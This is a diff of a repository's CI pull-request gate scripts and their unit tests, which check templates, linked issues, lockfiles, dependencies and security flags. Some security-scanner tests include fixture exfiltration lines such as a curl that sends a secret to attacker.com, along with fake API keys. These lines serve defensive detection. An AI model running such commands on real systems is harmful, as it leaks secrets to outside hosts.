export async function findExistingComment(fetchFromGitHub, token, repo, prNumber) {
for (let page = 1; ; page += 1) {
const comments = await fetchFromGitHub(
`/repos/${repo}/issues/${prNumber}/comments?per_page=100&page=${page}`,
token
);
const existing = comments.find(
c => (c.user.login === 'commitperclip[bot]' || c.user.login === 'commitperclip') &&
c.body.includes(COMMENT_SIGNATURE)
);
if (existing) return existing;
if (comments.length < 100) return null;
}
}
async function upsertComment(token, repo, prNumber, body, existing) {
if (existing) {
await ghFetch(`/repos/${repo}/issues/comments/${existing.id}`, token, {
method: 'PATCH',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ body }),
});
} else {
await ghFetch(`/repos/${repo}/issues/${prNumber}/comments`, token, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ body }),
});
}
}
async function main() {
const { GH_TOKEN, GH_REPO, PR_NUMBER, PR_AUTHOR, PR_BRANCH } = process.env;
if (!GH_TOKEN || !GH_REPO || !PR_NUMBER) {
console.error('ERROR: GH_TOKEN, GH_REPO, PR_NUMBER env vars required');
process.exit(1);
}
// Sanitize inputs before use in URL construction (prevents SSRF)
const prNumber = parseInt(PR_NUMBER, 10);
if (!Number.isInteger(prNumber) || prNumber <= 0) {
console.error('ERROR: PR_NUMBER must be a positive integer');
process.exit(1);
}
if (!/^[a-zA-Z0-9_.-]+\/[a-zA-Z0-9_.-]+$/.test(GH_REPO)) {
console.error('ERROR: GH_REPO must be in owner/repo format');
process.exit(1);
}
// Fetch PR data once — gates use this, no redundant API calls
const [pr, files] = await Promise.all([
ghFetch(`/repos/${GH_REPO}/pulls/${prNumber}`, GH_TOKEN),
fetchAllPullRequestFiles(ghFetch, GH_REPO, prNumber, GH_TOKEN),
]);
const prBody = pr.body ?? '';
const author = PR_AUTHOR ?? pr.user.login;
const branch = PR_BRANCH ?? pr.head.ref;
// Run all quality gates (pure functions run sync, deps check is async)
const prTitle = pr.title ?? '';
const [templateResult, issueResult, dedupResult, testResult, lockfileResult, depsResult] =
await Promise.all([
Promise.resolve(checkTemplate(prBody)),
Promise.resolve(checkLinkedIssue(prBody, prTitle)),
Promise.resolve(checkDedupSearch(prBody, prTitle)),
Promise.resolve(checkTestCoverage(files, prTitle)),
Promise.resolve(checkLockfile(files, author, branch)),
checkDependencies(files, GH_TOKEN, GH_REPO, prNumber, pr.base?.ref),
]);
const allFailures = [
...templateResult.failures,
...issueResult.failures,
...dedupResult.failures,
...testResult.failures,
...lockfileResult.failures,
];
const informational = depsResult.informational ?? [];
const allPassed = allFailures.length === 0;
const commentBody = buildComment(author, allFailures, informational);
// Post comment if there are failures/informational, or update existing comment
const existing = await findExistingComment(ghFetch, GH_TOKEN, GH_REPO, prNumber);
if (allFailures.length > 0 || informational.length > 0 || existing) {
await upsertComment(GH_TOKEN, GH_REPO, prNumber, commentBody, existing);
}
console.log(JSON.stringify({ passed: allPassed, failures: allFailures, informational }));
process.exit(allPassed ? 0 : 1);
}
if (process.argv[1] === fileURLToPath(import.meta.url)) {
main().catch(e => { console.error(e.message); process.exit(1); });
}
@@ -0,0 +1,93 @@
import { test } from 'node:test';
import assert from 'node:assert/strict';
import { checkDedupSearch } from '../check-pr-dedup-search.mjs';
test('passes when dedup checkbox is checked (lowercase x)', () => {
const body = `
## Checklist
- [x] I searched the GitHub PR list (open + recently closed) for similar PRs and confirmed this is not a duplicate
- [ ] Other thing
`;
assert.equal(checkDedupSearch(body, 'feat: thing').passed, true);
});
test('passes when dedup checkbox is checked (uppercase X)', () => {
const body = `- [X] I have searched GitHub for duplicate or related PRs and linked them above`;
assert.equal(checkDedupSearch(body, 'feat: thing').passed, true);
});
test('passes with current PR template wording (master)', () => {
const body = `
- [x] I have searched GitHub for duplicate or related PRs and linked them above
`;
assert.equal(checkDedupSearch(body, 'feat: thing').passed, true);
});
test('fails when dedup checkbox is present but unchecked', () => {
const body = `
- [ ] I searched for similar open/closed PRs and confirmed this is not a duplicate
- [ ] Other thing
`;
const result = checkDedupSearch(body, 'feat: thing');
assert.equal(result.passed, false);
assert.ok(result.failures.length > 0);
});
test('fails when dedup checkbox is missing entirely', () => {
const body = `
## Checklist
- [x] I have run tests locally
- [x] I have updated documentation
`;
const result = checkDedupSearch(body, 'feat: thing');
assert.equal(result.passed, false);
assert.ok(result.failures.length > 0);
});
test('fails when PR body is empty (and no skip prefix)', () => {
const result = checkDedupSearch('', 'feat: thing');
assert.equal(result.passed, false);
assert.ok(result.failures.length > 0);
});
test('skips check for docs: prefix', () => {
assert.equal(checkDedupSearch('', 'docs: update README').passed, true);
});
test('skips check for chore: prefix', () => {
assert.equal(checkDedupSearch('', 'chore: bump deps').passed, true);
});
test('skips check for ci: prefix', () => {
assert.equal(checkDedupSearch('', 'ci: tweak workflow').passed, true);
});
test('skips check for test: prefix', () => {
assert.equal(checkDedupSearch('', 'test: add coverage').passed, true);
});
test('requires checkbox for feat: prefix', () => {
assert.equal(checkDedupSearch('Some description without checkbox', 'feat: new thing').passed, false);
});
test('does not match unrelated checked items mentioning "PR"', () => {
const body = `
- [x] I have run tests locally and they pass
- [x] All Paperclip CI gates are green
`;
assert.equal(checkDedupSearch(body, 'feat: thing').passed, false);
});
test('matches asterisk bullet style', () => {
const body = `* [x] I searched GitHub for similar PRs and this is not a duplicate`;
assert.equal(checkDedupSearch(body, 'feat: thing').passed, true);
});
test('does not match when "pr" only appears inside an unrelated word', () => {
// "approaches" contains the letters "pr" but is not the token "PR/PRs".
// Without a word-boundary anchor the regex would incorrectly pass.
const body = `- [x] I searched for similar approaches to this problem`;
assert.equal(checkDedupSearch(body, 'feat: thing').passed, false);
});
@@ -0,0 +1,65 @@
import { test } from 'node:test';
import assert from 'node:assert/strict';
import { checkDependencies, resolveBaseRef } from '../check-pr-dependencies.mjs';
test('resolveBaseRef: returns the explicit base ref without making API calls', async () => {
const baseRef = await resolveBaseRef(async () => {
throw new Error('should not fetch');
}, 'token', 'paperclipai/paperclip', 6469, 'release/1.2');
assert.equal(baseRef, 'release/1.2');
});
test('resolveBaseRef: falls back to the PR base ref', async () => {
const seenPaths = [];
const baseRef = await resolveBaseRef(async (path) => {
seenPaths.push(path);
return { base: { ref: 'main' } };
}, 'token', 'paperclipai/paperclip', 6469);
assert.equal(baseRef, 'main');
assert.deepEqual(seenPaths, ['/repos/paperclipai/paperclip/pulls/6469']);
});
test('checkDependencies: compares package files against the resolved base ref instead of master', async () => {
const seenPaths = [];
const result = await checkDependencies(
[{ filename: 'packages/foo/package.json', status: 'modified' }],
'token',
'paperclipai/paperclip',
6469,
'release/1.2',
async (path) => {
seenPaths.push(path);
if (path.includes('ref=release%2F1.2')) {
return {
content: Buffer.from(JSON.stringify({
dependencies: { existing: '^1.0.0' },
})).toString('base64'),
};
}
if (path.includes('ref=refs%2Fpull%2F6469%2Fhead')) {
return {
content: Buffer.from(JSON.stringify({
dependencies: {
existing: '^1.0.0',
added: '^2.0.0',
},
})).toString('base64'),
};
}
throw new Error(`Unexpected path: ${path}`);
}
);
assert.equal(result.passed, true);
assert.equal(result.informational.length, 1);
assert.match(result.informational[0], /`added`/);
assert.deepEqual(seenPaths, [
'/repos/paperclipai/paperclip/contents/packages/foo/package.json?ref=release%2F1.2',
'/repos/paperclipai/paperclip/contents/packages/foo/package.json?ref=refs%2Fpull%2F6469%2Fhead',
]);
});
@@ -0,0 +1,223 @@
import { test } from 'node:test';
import assert from 'node:assert/strict';
import { checkLinkedIssue, hasInlineIssueDescription } from '../check-pr-linked-issue.mjs';
// Existing tests with title parameter added (defaults to no prefix, so still required)
test('passes with bare #NNN reference', () => {
assert.equal(checkLinkedIssue('This fixes the bug in #123', 'fix: something').passed, true);
});
test('passes with "Fixes #NNN"', () => {
assert.equal(checkLinkedIssue('Fixes #456\n\nSome description', 'fix: something').passed, true);
});
test('passes with "Closes #NNN" (case-insensitive)', () => {
assert.equal(checkLinkedIssue('closes #789', 'fix: something').passed, true);
});
test('passes with "Resolves #NNN"', () => {
assert.equal(checkLinkedIssue('Resolves #101', 'fix: something').passed, true);
});
test('passes with "Refs #NNN"', () => {
assert.equal(checkLinkedIssue('Refs #202', 'fix: something').passed, true);
});
test('passes with "refs #NNN" (case-insensitive)', () => {
assert.equal(checkLinkedIssue('refs #303', 'fix: something').passed, true);
});
test('passes with full github.com URL', () => {
assert.equal(
checkLinkedIssue('See https://github.com/paperclipai/paperclip/issues/202', 'fix: bug').passed,
true
);
});
test('passes with a full github.com URL followed by punctuation', () => {
assert.equal(
checkLinkedIssue('See (https://github.com/paperclipai/paperclip/issues/202).', 'fix: bug').passed,
true
);
});
test('fails with empty body when no skip prefix', () => {
const result = checkLinkedIssue('', 'fix: bug');
assert.equal(result.passed, false);
assert.ok(result.failures.length > 0);
});
test('fails with no issue reference when no skip prefix', () => {
const result = checkLinkedIssue('Added a cool feature, no issue linked', 'feat: something');
assert.equal(result.passed, false);
assert.ok(result.failures[0].includes('Fixes #NNN'));
});
test('fails with cross-repo issue reference', () => {
const result = checkLinkedIssue('See https://github.com/other/repo/issues/123', 'fix: bug');
assert.equal(result.passed, false);
});
test('fails when the Paperclip issue URL is embedded inside another host', () => {
const result = checkLinkedIssue(
'See https://evil.example/https://github.com/paperclipai/paperclip/issues/123',
'fix: bug'
);
assert.equal(result.passed, false);
});
test('fails when the Paperclip issue URL continues into another host', () => {
const result = checkLinkedIssue(
'See https://github.com/paperclipai/paperclip/issues/123.evil.example',
'fix: bug'
);
assert.equal(result.passed, false);
});
test('fails when #NNN is part of a word (no space before)', () => {
const result = checkLinkedIssue('This is version#123 not an issue link', 'fix: bug');
assert.equal(result.passed, false);
});
// Prefix-aware skip behavior
test('skips check for docs: prefix', () => {
assert.equal(checkLinkedIssue('', 'docs: update README').passed, true);
});
test('skips check for chore: prefix', () => {
assert.equal(checkLinkedIssue('', 'chore: bump deps').passed, true);
});
test('skips check for build: prefix', () => {
assert.equal(checkLinkedIssue('', 'build: update Dockerfile').passed, true);
});
test('skips check for ci: prefix', () => {
assert.equal(checkLinkedIssue('', 'ci: add workflow').passed, true);
});
test('skips check for test: prefix', () => {
assert.equal(checkLinkedIssue('', 'test: add coverage').passed, true);
});
test('skips check with scoped prefix like docs(api):', () => {
assert.equal(checkLinkedIssue('', 'docs(api): document endpoint').passed, true);
});
test('requires issue for feat: prefix', () => {
assert.equal(checkLinkedIssue('Some description without issue', 'feat: new thing').passed, false);
});
test('requires issue for refactor: prefix', () => {
assert.equal(checkLinkedIssue('Some refactor', 'refactor: rewrite thing').passed, false);
});
test('requires issue when no prefix (encourages prefix usage)', () => {
assert.equal(checkLinkedIssue('No prefix here', 'Add some feature').passed, false);
});
// Inline issue description (path 2)
const BUG_INLINE_BODY = `
## What happened?
Login button does nothing when clicked.
## Expected behavior
Clicking the login button should authenticate the user.
## Steps to reproduce
1. Open the app
2. Click login
3. Nothing happens
`;
const FEATURE_INLINE_BODY = `
## Problem or motivation
We don't have a way to bulk-tag issues.
## Proposed solution
Add a bulk-tag action to the issues list.
## Alternatives considered
Tagging individually — too slow.
`;
const ADAPTER_INLINE_BODY = `
## Agent or provider
Gemini CLI
## Why this adapter is useful
Lots of users want Gemini as an alternative model option.
## How the agent is invoked
Via the \`gemini\` CLI binary with stdin/stdout JSON.
`;
test('passes with inline bug description (3 template fields, feat: prefix)', () => {
assert.equal(checkLinkedIssue(BUG_INLINE_BODY, 'feat: fix login button').passed, true);
});
test('passes with inline feature description (3 template fields)', () => {
assert.equal(checkLinkedIssue(FEATURE_INLINE_BODY, 'feat: bulk tag').passed, true);
});
test('passes with inline adapter description (3 template fields)', () => {
assert.equal(checkLinkedIssue(ADAPTER_INLINE_BODY, 'feat: gemini adapter').passed, true);
});
test('fails with only two bug template fields (below threshold)', () => {
const body = `
## What happened?
Something broke.
## Expected behavior
It should work.
`;
assert.equal(checkLinkedIssue(body, 'feat: fix').passed, false);
});
test('fails with a single stray template-like heading', () => {
const body = `
This is mostly a free-form description but one heading happens to match.
## Expected behavior
Everything works.
`;
assert.equal(checkLinkedIssue(body, 'feat: fix').passed, false);
});
test('hasInlineIssueDescription returns true for ≥3 bug fields', () => {
assert.equal(hasInlineIssueDescription(BUG_INLINE_BODY), true);
});
test('hasInlineIssueDescription returns false for empty body', () => {
assert.equal(hasInlineIssueDescription(''), false);
});
test('hasInlineIssueDescription accepts bolded labels with colons', () => {
const body = `
**Problem:**
We need this.
**Proposed solution:**
Build it.
**Alternatives considered:**
None.
`;
assert.equal(hasInlineIssueDescription(body), true);
});
@@ -0,0 +1,33 @@
import { test } from 'node:test';
import assert from 'node:assert/strict';
import { checkLockfile } from '../check-pr-lockfile.mjs';
const makeFiles = (filenames) => filenames.map(f => ({ filename: f, status: 'modified' }));
test('passes when lockfile is not changed', () => {
assert.equal(checkLockfile(makeFiles(['src/foo.ts']), 'someuser', 'fix/bug').passed, true);
});
test('passes when lockfile changed by refresh bot on correct branch', () => {
const result = checkLockfile(
makeFiles(['pnpm-lock.yaml']),
'github-actions[bot]',
'chore/refresh-lockfile'
);
assert.equal(result.passed, true);
});
test('fails when lockfile changed by regular user', () => {
const result = checkLockfile(makeFiles(['pnpm-lock.yaml']), 'someuser', 'fix/bug');
assert.equal(result.passed, false);
assert.ok(result.failures[0].includes('pnpm-lock.yaml'));
});
test('fails when lockfile changed by bot on wrong branch', () => {
const result = checkLockfile(
makeFiles(['pnpm-lock.yaml']),
'github-actions[bot]',
'fix/something-else'
);
assert.equal(result.passed, false);
});
@@ -0,0 +1,380 @@
import { test } from 'node:test';
import assert from 'node:assert/strict';
import {
buildAdvisoryPayload,
findExistingDraftAdvisory,
postSecurityCheckRun,
scanSecrets,
scanCITampering,
scanBuildScripts,
scanSupplyChain,
scanTestPatterns,
scanSensitivePaths,
startScriptWatchdog,
syncDraftAdvisory,
validateSensitivePaths,
} from '../check-pr-security.mjs';
import { ghFetch } from '../get-bot-token.mjs';
// ── scanSecrets ──────────────────────────────────────────────────────────────
test('scanSecrets: flags OpenAI key in added line', () => {
const files = [{ filename: 'src/config.ts', patch: '+const key = "sk-abcdefghijklmnopqrstuvwxyz123456"' }];
assert.ok(scanSecrets(files).length > 0);
});
test('scanSecrets: flags AWS key in added line', () => {
const files = [{ filename: 'src/config.ts', patch: '+const awsKey = "AKIAIOSFODNN7EXAMPLE"' }];
assert.ok(scanSecrets(files).length > 0);
});
test('scanSecrets: ignores removed lines', () => {
const files = [{ filename: 'src/config.ts', patch: '-const key = "sk-abcdefghijklmnopqrstuvwxyz123456"' }];
assert.equal(scanSecrets(files).length, 0);
});
test('scanSecrets: ignores files without patch', () => {
assert.equal(scanSecrets([{ filename: 'large-file.ts' }]).length, 0);
});
// ── scanCITampering ──────────────────────────────────────────────────────────
test('scanCITampering: flags workflow file changes', () => {
const files = [{ filename: '.github/workflows/pr.yml', status: 'modified' }];
assert.ok(scanCITampering(files).length > 0);
});
test('scanCITampering: ignores non-workflow files', () => {
const files = [{ filename: 'src/foo.ts', status: 'modified' }];
assert.equal(scanCITampering(files).length, 0);
});
test('scanCITampering: ignores removed workflow files', () => {
const files = [{ filename: '.github/workflows/old.yml', status: 'removed' }];
assert.equal(scanCITampering(files).length, 0);
});
// ── scanBuildScripts ─────────────────────────────────────────────────────────
test('scanBuildScripts: flags changes to release.sh', () => {
const files = [{ filename: 'scripts/release.sh', status: 'modified' }];
assert.ok(scanBuildScripts(files).length > 0);
});
test('scanBuildScripts: ignores non-CI scripts', () => {
const files = [{ filename: 'scripts/generate-org-chart-images.ts', status: 'modified' }];
assert.equal(scanBuildScripts(files).length, 0);
});
// ── scanSupplyChain ──────────────────────────────────────────────────────────
test('scanSupplyChain: flags net-new packages in lockfile', () => {
const patch = `@@ -1,3 +1,4 @@
packages:
+ 'evil-package@1.0.0':
'existing-package@2.0.0':
- 'old-package@1.0.0':
`;
const files = [{ filename: 'pnpm-lock.yaml', patch }];
const flags = scanSupplyChain(files);
assert.ok(flags.length > 0);
assert.ok(flags[0].packages.includes('evil-package'));
});
test('scanSupplyChain: does not flag version-only bumps', () => {
const patch = `@@ -1,3 +1,3 @@
packages:
- 'existing-package@1.0.0':
+ 'existing-package@2.0.0':
`;
const files = [{ filename: 'pnpm-lock.yaml', patch }];
assert.equal(scanSupplyChain(files).length, 0);
});
test('scanSupplyChain: flags pnpm v9-style unquoted package entries', () => {
const patch = `@@ -1,2 +1,3 @@
+evil-package@1.0.0:
existing-package@2.0.0:
`;
const files = [{ filename: 'pnpm-lock.yaml', patch }];
const flags = scanSupplyChain(files);
assert.deepEqual(flags, [{ check: 'supply-chain', packages: ['evil-package'] }]);
});
test('scanSupplyChain: ignores peer suffixes when matching package names', () => {
const patch = `@@ -1,2 +1,2 @@
-@scope/pkg@1.0.0(react@18.2.0):
+@scope/pkg@2.0.0(react@18.2.0):
`;
const files = [{ filename: 'pnpm-lock.yaml', patch }];
assert.equal(scanSupplyChain(files).length, 0);
});
test('scanSupplyChain: flags net-new packages that include pnpm peer suffixes', () => {
const patch = `@@ -1,2 +1,3 @@
+evil-package@1.0.0(react@18.2.0):
existing-package@2.0.0:
`;
const files = [{ filename: 'pnpm-lock.yaml', patch }];
const flags = scanSupplyChain(files);
assert.deepEqual(flags, [{ check: 'supply-chain', packages: ['evil-package'] }]);
});
test('findExistingDraftAdvisory: returns matching draft advisory from paginated results', async () => {
const calls = [];
const fakeFetch = async (path) => {
calls.push(path);
if (/[?&]page=1(?:&|$)/.test(path)) {
return Array.from({ length: 100 }, (_, i) => ({ summary: `Unrelated advisory ${i}` }));
}
if (/[?&]page=2(?:&|$)/.test(path)) {
return [{ summary: '🚨 Security flag — PR #6469: ci-tampering' }];
}
return [];
};
const advisory = await findExistingDraftAdvisory(fakeFetch, 'token', 'paperclipai/paperclip', 6469);
assert.deepEqual(advisory, { summary: '🚨 Security flag — PR #6469: ci-tampering' });
assert.equal(calls.length, 2);
});
test('findExistingDraftAdvisory: returns null when no matching draft advisory exists', async () => {
const fakeFetch = async () => [{ summary: 'Completely different advisory' }];
const advisory = await findExistingDraftAdvisory(fakeFetch, 'token', 'paperclipai/paperclip', 6469);
assert.equal(advisory, null);
});
test('findExistingDraftAdvisory: bails out at the page cap so a large backlog cannot hang the workflow', async () => {
let pageCount = 0;
const fakeFetch = async () => {
pageCount += 1;
return Array.from({ length: 100 }, (_, i) => ({ summary: `Unrelated advisory ${pageCount}-${i}` }));
};
const advisory = await findExistingDraftAdvisory(fakeFetch, 'token', 'paperclipai/paperclip', 6469);
assert.equal(advisory, null);
assert.equal(pageCount, 20, `expected pagination to run exactly 20 pages (the cap), got ${pageCount}`);
});
test('syncDraftAdvisory: patches an existing advisory with the latest flags', async () => {
const calls = [];
const flags = [
{ check: 'ci-tampering', file: '.github/workflows/pr.yml' },
{ check: 'secret-scan', file: 'src/config.ts', pattern: 'OpenAI API key' },
];
await syncDraftAdvisory(async (path, token, options) => {
calls.push({ path, token, options });
if (path.includes('/security-advisories?state=draft')) {
return [{ ghsa_id: 'GHSA-test-1234', summary: '🚨 Security flag — PR #6469: ci-tampering' }];
}
return { ok: true };
}, 'token', 'paperclipai/paperclip', 6469, 'My PR', flags);
assert.equal(calls.length, 2);
assert.equal(calls[1].path, '/repos/paperclipai/paperclip/security-advisories/GHSA-test-1234');
assert.equal(calls[1].options.method, 'PATCH');
const patchBody = JSON.parse(calls[1].options.body);
const { vulnerabilities, ...expectedPatch } = buildAdvisoryPayload(6469, 'My PR', flags);
assert.deepEqual(patchBody, expectedPatch);
assert.ok(!('vulnerabilities' in patchBody), 'PATCH must omit vulnerabilities (GitHub rejects empty array with 422)');
});
test('syncDraftAdvisory: creates a new advisory when none exists', async () => {
const calls = [];
const flags = [{ check: 'supply-chain', packages: ['evil-package'] }];
await syncDraftAdvisory(async (path, token, options) => {
calls.push({ path, token, options });
if (path.includes('/security-advisories?state=draft')) {
return [];
}
return { ok: true };
}, 'token', 'paperclipai/paperclip', 6469, 'My PR', flags);
assert.equal(calls.length, 2);
assert.equal(calls[1].path, '/repos/paperclipai/paperclip/security-advisories');
assert.equal(calls[1].options.method, 'POST');
assert.deepEqual(JSON.parse(calls[1].options.body), buildAdvisoryPayload(6469, 'My PR', flags));
});
test('postSecurityCheckRun: uses the injected fetch implementation', async () => {
const calls = [];
await postSecurityCheckRun(async (path, token, options) => {
calls.push({ path, token, options });
return { ok: true };
}, 'token', 'paperclipai/paperclip', 'deadbeef', true);
assert.equal(calls.length, 1);
assert.equal(calls[0].path, '/repos/paperclipai/paperclip/check-runs');
assert.equal(calls[0].options.method, 'POST');
assert.deepEqual(JSON.parse(calls[0].options.body), {
name: 'security-review',
head_sha: 'deadbeef',
status: 'completed',
conclusion: 'neutral',
output: {
title: 'Security Review Recommended',
summary: 'Draft advisory filed for maintainer review. Not a merge block — review the advisory at your leisure.',
},
});
});
test('validateSensitivePaths: checks paths against the resolved base ref instead of master', async () => {
const seenPaths = [];
const stale = await validateSensitivePaths(
'token',
'paperclipai/paperclip',
6469,
'release/1.2',
async (path) => {
seenPaths.push(path);
return { ok: true };
},
);
assert.deepEqual(stale, []);
assert.ok(seenPaths.every(path => path.includes('ref=release%2F1.2')));
assert.ok(!seenPaths.some(path => path.includes('ref=master')));
});
test('validateSensitivePaths: returns only 404 paths and rethrows non-404 errors', async () => {
let seen404 = false;
const stale = await validateSensitivePaths(
'token',
'paperclipai/paperclip',
6469,
'main',
async (path) => {
if (!seen404) {
seen404 = true;
throw new Error('GitHub API GET /contents/foo → 404: missing');
}
return { ok: true };
},
);
assert.equal(stale.length, 1);
await assert.rejects(
validateSensitivePaths(
'token',
'paperclipai/paperclip',
6469,
'main',
async () => {
throw new Error('GitHub API GET /contents/foo → 500: boom');
},
),
/500: boom/
);
});
// ── scanTestPatterns ─────────────────────────────────────────────────────────
test('scanTestPatterns: flags outbound fetch in test file', () => {
const files = [{
filename: 'src/foo.test.ts',
patch: `+ const res = await fetch('https://attacker.com/collect')`,
}];
assert.ok(scanTestPatterns(files).length > 0);
});
test('scanTestPatterns: flags execSync in test file', () => {
const files = [{
filename: 'src/foo.test.ts',
patch: `+ execSync('curl https://attacker.com?data=' + secret)`,
}];
assert.ok(scanTestPatterns(files).length > 0);
});
test('scanTestPatterns: ignores suspicious patterns in non-test files', () => {
const files = [{
filename: 'src/api.ts',
patch: `+ const res = await fetch('https://api.example.com')`,
}];
assert.equal(scanTestPatterns(files).length, 0);
});
test('scanTestPatterns: flags suspicious patterns in __tests__ directories', () => {
const files = [{
filename: 'src/__tests__/foo.ts',
patch: `+ execSync('curl https://attacker.com?data=' + secret)`,
}];
assert.ok(scanTestPatterns(files).length > 0);
});
// ── scanSensitivePaths ───────────────────────────────────────────────────────
test('scanSensitivePaths: flags changes to agents route (API key IDOR / cross-tenant)', () => {
const files = [{ filename: 'server/src/routes/agents.ts', status: 'modified' }];
assert.ok(scanSensitivePaths(files).length > 0);
});
test('scanSensitivePaths: flags changes to MarkdownBody (XSS via urlTransform)', () => {
const files = [{ filename: 'ui/src/components/MarkdownBody.tsx', status: 'modified' }];
assert.ok(scanSensitivePaths(files).length > 0);
});
test('scanSensitivePaths: flags changes to company-skills route (malicious skill exfil)', () => {
const files = [{ filename: 'server/src/routes/company-skills.ts', status: 'modified' }];
assert.ok(scanSensitivePaths(files).length > 0);
});
test('scanSensitivePaths: ignores unrelated paths', () => {
const files = [{ filename: 'server/src/utils/date.ts', status: 'modified' }];
assert.equal(scanSensitivePaths(files).length, 0);
});
test('scanSensitivePaths: ignores removed files even on sensitive paths', () => {
const files = [{ filename: 'server/src/routes/agents.ts', status: 'removed' }];
assert.equal(scanSensitivePaths(files).length, 0);
});
// ── startScriptWatchdog ──────────────────────────────────────────────────────
test('startScriptWatchdog: fires exit(0) when the wall-clock budget is exceeded', async () => {
let exitCode = null;
const fakeExit = (code) => { exitCode = code; };
startScriptWatchdog(20, fakeExit);
await new Promise((resolve) => setTimeout(resolve, 60));
assert.equal(exitCode, 0, 'watchdog should have exited with code 0 by now');
});
test('startScriptWatchdog: cleared timer never fires', async () => {
let exitCode = null;
const fakeExit = (code) => { exitCode = code; };
const timer = startScriptWatchdog(20, fakeExit);
clearTimeout(timer);
await new Promise((resolve) => setTimeout(resolve, 60));
assert.equal(exitCode, null, 'cleared watchdog must not call exit');
});
// ── ghFetch timeout ──────────────────────────────────────────────────────────
test('ghFetch: aborts the request when the per-call timeout elapses', async () => {
const originalFetch = globalThis.fetch;
// Replace global fetch with one that respects the AbortSignal but never resolves on its own.
globalThis.fetch = (_url, init) => new Promise((_resolve, reject) => {
init?.signal?.addEventListener('abort', () => {
const err = new Error('aborted');
err.name = 'AbortError';
reject(err);
}, { once: true });
});
try {
const start = Date.now();
await assert.rejects(
ghFetch('/repos/example/example/security-advisories', 'token', { timeoutMs: 30 }),
/aborted|abort/i,
);
const elapsed = Date.now() - start;
assert.ok(elapsed < 500, `ghFetch should abort within the timeout, took ${elapsed}ms`);
} finally {
globalThis.fetch = originalFetch;
}
});
@@ -0,0 +1,123 @@
import { test } from 'node:test';
import assert from 'node:assert/strict';
import { checkTemplate } from '../check-pr-template.mjs';
const VALID_BODY = `
## Thinking Path
First I considered the root cause of the bug in the cursor logic. Then I traced the execution path through the pagination code. Finally I identified that the date binding was missing a toISOString call.
## What Changed
- Added .toISOString() call before binding anchor.createdAt to the postgres query
## Verification
Run pnpm test:run:general and verify the cursor pagination tests pass.
## Risks
Low risk — isolated change to one query parameter.
## Model Used
Claude Sonnet 4.5, 200k context window, extended thinking enabled, tool use: read/edit files
`;
test('passes with valid full template', () => {
const result = checkTemplate(VALID_BODY);
assert.equal(result.passed, true);
assert.deepEqual(result.failures, []);
});
test('fails when Thinking Path section is missing', () => {
const body = VALID_BODY.replace('## Thinking Path', '## Removed');
const result = checkTemplate(body);
assert.equal(result.passed, false);
assert.ok(result.failures.some(f => f.includes('Thinking Path')));
});
test('fails when Thinking Path has fewer than 3 sentences', () => {
const body = VALID_BODY.replace(
/## Thinking Path\n[\s\S]*?\n## What Changed/,
'## Thinking Path\nOnly one sentence here.\n\n## What Changed'
);
const result = checkTemplate(body);
assert.equal(result.passed, false);
assert.ok(result.failures.some(f => f.includes('Thinking Path') && f.includes('sentence')));
});
test('passes Thinking Path written as a bullet list without terminal punctuation', () => {
const body = VALID_BODY.replace(
/## Thinking Path\n[\s\S]*?\n## What Changed/,
`## Thinking Path
- First point about the root cause of the bug
- Second point about how the fix addresses it
- Third point about why this approach was chosen
## What Changed`
);
const result = checkTemplate(body);
assert.equal(result.passed, true);
assert.deepEqual(result.failures, []);
});
test('passes Thinking Path written as a blockquoted bullet list', () => {
const body = VALID_BODY.replace(
/## Thinking Path\n[\s\S]*?\n## What Changed/,
`## Thinking Path
> - First point in a blockquote
> - Second point in a blockquote
> - Third point in a blockquote
## What Changed`
);
const result = checkTemplate(body);
assert.equal(result.passed, true);
assert.deepEqual(result.failures, []);
});
test('passes Thinking Path written as multiple paragraphs without terminal punctuation', () => {
const body = VALID_BODY.replace(
/## Thinking Path\n[\s\S]*?\n## What Changed/,
`## Thinking Path
First paragraph explaining the situation in detail
Second paragraph explaining the chosen approach in detail
Third paragraph explaining the tradeoffs in detail
## What Changed`
);
const result = checkTemplate(body);
assert.equal(result.passed, true);
assert.deepEqual(result.failures, []);
});
test('fails when Model Used section is missing', () => {
const body = VALID_BODY.replace('## Model Used', '## Removed');
const result = checkTemplate(body);
assert.equal(result.passed, false);
assert.ok(result.failures.some(f => f.includes('Model Used')));
});
test('fails when Model Used contains placeholder text', () => {
const body = VALID_BODY.replace(
/## Model Used\n[\s\S]*/,
'## Model Used\nprovider, model id/version, context window, reasoning mode, tool use'
);
const result = checkTemplate(body);
assert.equal(result.passed, false);
assert.ok(result.failures.some(f => f.includes('Model Used') && f.includes('placeholder')));
});
test('fails when What Changed section is empty', () => {
const body = VALID_BODY.replace(
/## What Changed\n[\s\S]*?\n## Verification/,
'## What Changed\n\n## Verification'
);
const result = checkTemplate(body);
assert.equal(result.passed, false);
assert.ok(result.failures.some(f => f.includes('What Changed')));
});
test('returns multiple failures at once', () => {
const result = checkTemplate('');
assert.equal(result.passed, false);
assert.ok(result.failures.length >= 5);
});
@@ -0,0 +1,109 @@
import { test } from 'node:test';
import assert from 'node:assert/strict';
import { checkTestCoverage } from '../check-pr-test-coverage.mjs';
const makeFiles = (filenames) =>
filenames.map(filename => ({ filename, status: 'modified' }));
// Existing tests with title parameter added (fix: prefix means test required)
test('passes when .test.ts file is changed', () => {
assert.equal(checkTestCoverage(makeFiles(['src/foo.test.ts', 'src/foo.ts']), 'fix: bug').passed, true);
});
test('passes when .spec.js file is changed', () => {
assert.equal(checkTestCoverage(makeFiles(['src/bar.spec.js']), 'fix: bug').passed, true);
});
test('passes when .test.mjs file is changed', () => {
assert.equal(checkTestCoverage(makeFiles(['scripts/foo.test.mjs', 'scripts/foo.mjs']), 'fix: bug').passed, true);
});
test('passes when .test.cjs file is changed', () => {
assert.equal(checkTestCoverage(makeFiles(['scripts/bar.test.cjs']), 'fix: bug').passed, true);
});
test('passes when file under tests/ is changed', () => {
assert.equal(checkTestCoverage(makeFiles(['tests/unit/baz.ts']), 'fix: bug').passed, true);
});
test('passes when file under __tests__ is changed', () => {
assert.equal(checkTestCoverage(makeFiles(['src/__tests__/qux.ts']), 'fix: bug').passed, true);
});
test('fails when fix: PR has no tests', () => {
const result = checkTestCoverage(makeFiles(['src/foo.ts', 'src/bar.ts']), 'fix: bug');
assert.equal(result.passed, false);
assert.ok(result.failures[0].includes('test'));
});
test('fails when feat: PR has no tests', () => {
const result = checkTestCoverage(makeFiles(['src/foo.ts']), 'feat: new feature');
assert.equal(result.passed, false);
});
test('fails with empty file list and fix: prefix', () => {
